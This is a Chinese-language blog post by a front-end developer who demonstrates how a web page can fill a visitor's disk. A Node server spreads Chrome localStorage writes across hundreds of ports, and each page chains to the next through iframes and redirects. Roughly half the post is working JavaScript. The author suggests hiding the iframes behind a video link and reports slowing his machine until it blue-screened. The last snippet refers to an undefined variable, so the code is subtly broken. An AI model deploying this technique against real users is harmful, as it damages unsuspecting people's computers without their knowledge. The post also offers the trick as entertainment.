作為一個前端,可以如何機智地弄壞一臺電腦?
有人說,前端的界限就在瀏覽器那兒。
無論你觸發(fā)了多少bug,最多導(dǎo)致瀏覽器崩潰,對系統(tǒng)影響不到哪去。 這就像二次元各種炫酷的毀滅世界,都不會導(dǎo)致三次元的世界末日。 然而,作為一個前端,我發(fā)現(xiàn)是有方式打開次元大門的…
這個實驗?zāi)X洞較大,動機無聊,但某種意義上反映了一些安全問題。 想象一下,有天你在家里上網(wǎng),吃著火鍋還唱著歌,點開一個鏈接,電腦突然就藍屏了!想想還真有點小激動。
起因
故事得從localStorage說起。
html5的本地存儲,相信大家都不陌生。將數(shù)據(jù)以二進制文件形式存儲到本地,在當前應(yīng)用得非常廣泛。 windows下的chrome,localStorage存儲于C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage
文件夾中。但如果任由網(wǎng)頁***寫文件,對用戶硬盤的傷害可想而知,因而瀏覽器對其做了大小限制。
對于一個域名+端口,PC側(cè)的上限是5M-10M之間,移動側(cè)是則不大于2.5M。
那么問題就變成:這樣的限制足夠保護用戶硬盤了嗎?
關(guān)鍵
關(guān)鍵的問題在于,這一限制,針對的是一個域名+端口
。 也就是說,你訪問同一個域名的不同端口
,它們的localStorage并無關(guān)聯(lián),是分開存儲的。
我用node簡單地開啟了服務(wù)器,這時,用戶訪問http://127.0.0.1:1000
到http://127.0.0.1:1099
這100個端口,會請求到同一個頁面:index.html
:
- var http = require('http');
- var fs = require('fs');
- //100個端口
- for(var port = 1000; port< 1100; port++){
- http.createServer(function (request, response) {
- //請忽略這種循環(huán)讀文件的方式,只為了簡便
- fs.readFile('./index.html', function(err, content){
- if(err) {
- } else {
- response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' });
- response.write(content);
- response.end();
- }
- });
- }).listen(port, '127.0.0.1');
- }
當然,這個index.html里涉及了localStorage寫操作。
- var s = "";
- //慢慢來,別寫太大了,好害怕…
- for(var i=0; i< 3 * 1024 * 1024; i++){
- s += "0";
- }
- localStorage.setItem("testData", s);
我試著用瀏覽器分別訪問了幾個端口,結(jié)果是分開存儲。一切跟劇本一樣。
自動遍歷
但這種程度還不夠。 如果要實驗變得更好(xie)玩(e)一些,問題就變成如何讓用戶自動遍歷這些端口
?
iframe是個好的嘗試。 只要一打開http://127.0.0.1: 1000
,頁面的腳步就會創(chuàng)建一個iframe,去請求http://127.0.0.1: 1001
,一直循環(huán)下去。
- var Main = (function(){
- var _key = "testData";
- var _max = 1100; //***限制
- return {
- init: function(){
- //慢慢來,別寫太大了,好害怕…
- var s = "";
- for(var i=0; i< 3 * 1024 * 1024; i++){
- s += "0";
- }
- localStorage.setItem(_key, s);
- var port = parseInt(location.port)+1;
- if(port > _max) return;
- //新添加iframe
- var url = "http://127.0.0.1:" + port;
- var $iframe = document.createElement("iframe");
- $iframe.src = url;
- document.getElementsByTagName("body")[0].appendChild($iframe);
- }
- }
- })();
當然iframe我們還可以設(shè)置為不可見,以掩蓋這種不厚道的行為…
比方說,有人發(fā)給你一個鏈接,你打開后發(fā)現(xiàn)是個視頻,而你根本注意不到背后的腳本,在視頻播放的幾分鐘里,快要把你的C盤寫滿。
然后我就看到請求如潮水漸漲:
但是,請求到1081端口,***的chrome就崩潰掉了…原來iframe嵌套太多,已經(jīng)到達了瀏覽器的極限。
防止瀏覽器崩潰
C盤還未撐滿,同志還需努力。怎么辦?
突然想到,到達iframe極限之前,我們可以重定向啊。 每訪問50個端口,就使用.href
重定向一次,去確保瀏覽器不崩潰。
- var Main = (function(){
- var _key = "testData";
- var _max = 1200; //***限制
- var _jumpSpace = 50; //為避免iframe過多導(dǎo)致瀏覽器crash,每50個執(zhí)行跳轉(zhuǎn)
- return {
- init: function(){
- //慢慢來,別寫太大了,好害怕…
- var s = "";
- for(var i=0; i< 3 * 1024 * 1024; i++){
- s += "0";
- }
- localStorage.setItem(_key, s);
- var port = parseInt(location.port)+1;
- if(port > _max) return;
- if(port % _jumpSpace == 0){
- //每50個,重定向一次
- window.location.href = url;
- }else{
- //新添加iframe
- var $iframe = document.createElement("iframe");
- $iframe.src = url;
- document.getElementsByTagName("body")[0].appendChild($iframe);
- }
- }
- }
- })();
事實證明,這種蠻拼的方法的確可行。
至此,只要訪問http://127.0.0.1: 1000
,就會往Local Storage文件夾里寫入近500M無用數(shù)據(jù):
里面的數(shù)據(jù)是這樣的:
繼續(xù)實驗的黑科技
算了下我的C盤還有空間嘛,那就把端口數(shù)量從100增長到200個。 結(jié)果是這樣的,到達了1.17G大小。
在后續(xù)的實驗中,我就慢慢的把端口數(shù)量與存儲的數(shù)據(jù)調(diào)大。
電腦也運行得越來越慢。這是為什么呢?
我觀察到,有時候執(zhí)行localStorage.setItem()
后,在文件夾里不一定立即能看到數(shù)據(jù)文件。 懷疑這些數(shù)據(jù)會被chrome先放到內(nèi)存里,以避免重復(fù)讀寫帶來的消耗,在空閑或關(guān)閉的時機,再寫進硬盤里。
但此時,瀏覽器已經(jīng)影響到系統(tǒng)了。它處于一種“不會崩潰”,但“因為占用了許多內(nèi)存,已經(jīng)妨礙用戶電腦的正常使用”的狀態(tài)。 即使用戶關(guān)閉了瀏覽器窗口,也不會很快恢復(fù)。要知道讀寫任務(wù)并不是隨窗口關(guān)閉而終止的,否則瀏覽器會丟失數(shù)據(jù)。
遭遇黑科技的人們能做的只有:
-
等待;
-
用任務(wù)管理器關(guān)掉chrome進程,再等待;
-
相信并嘗試“重啟電腦解決90%電腦問題”的科學(xué)論斷
可以說,瀏覽器的內(nèi)心幾乎是崩潰的。
***
***,還是得用嚴肅臉告誡一下:害人之心不可無。 本實驗,從一開始就是懷揣著將安全問題上交給國家的初衷去做的(是的就是這么純粹)。
后續(xù),看著C盤還有2G空間,我又把端口增長到2000個,試下會發(fā)生什么。 由于請求過多,需要一定時間,我就去做別的事情了。 回來后發(fā)現(xiàn)房間安靜祥和,一片藍光,像是加了特技。
那么問題來了,計算機修理哪家強?
有點急…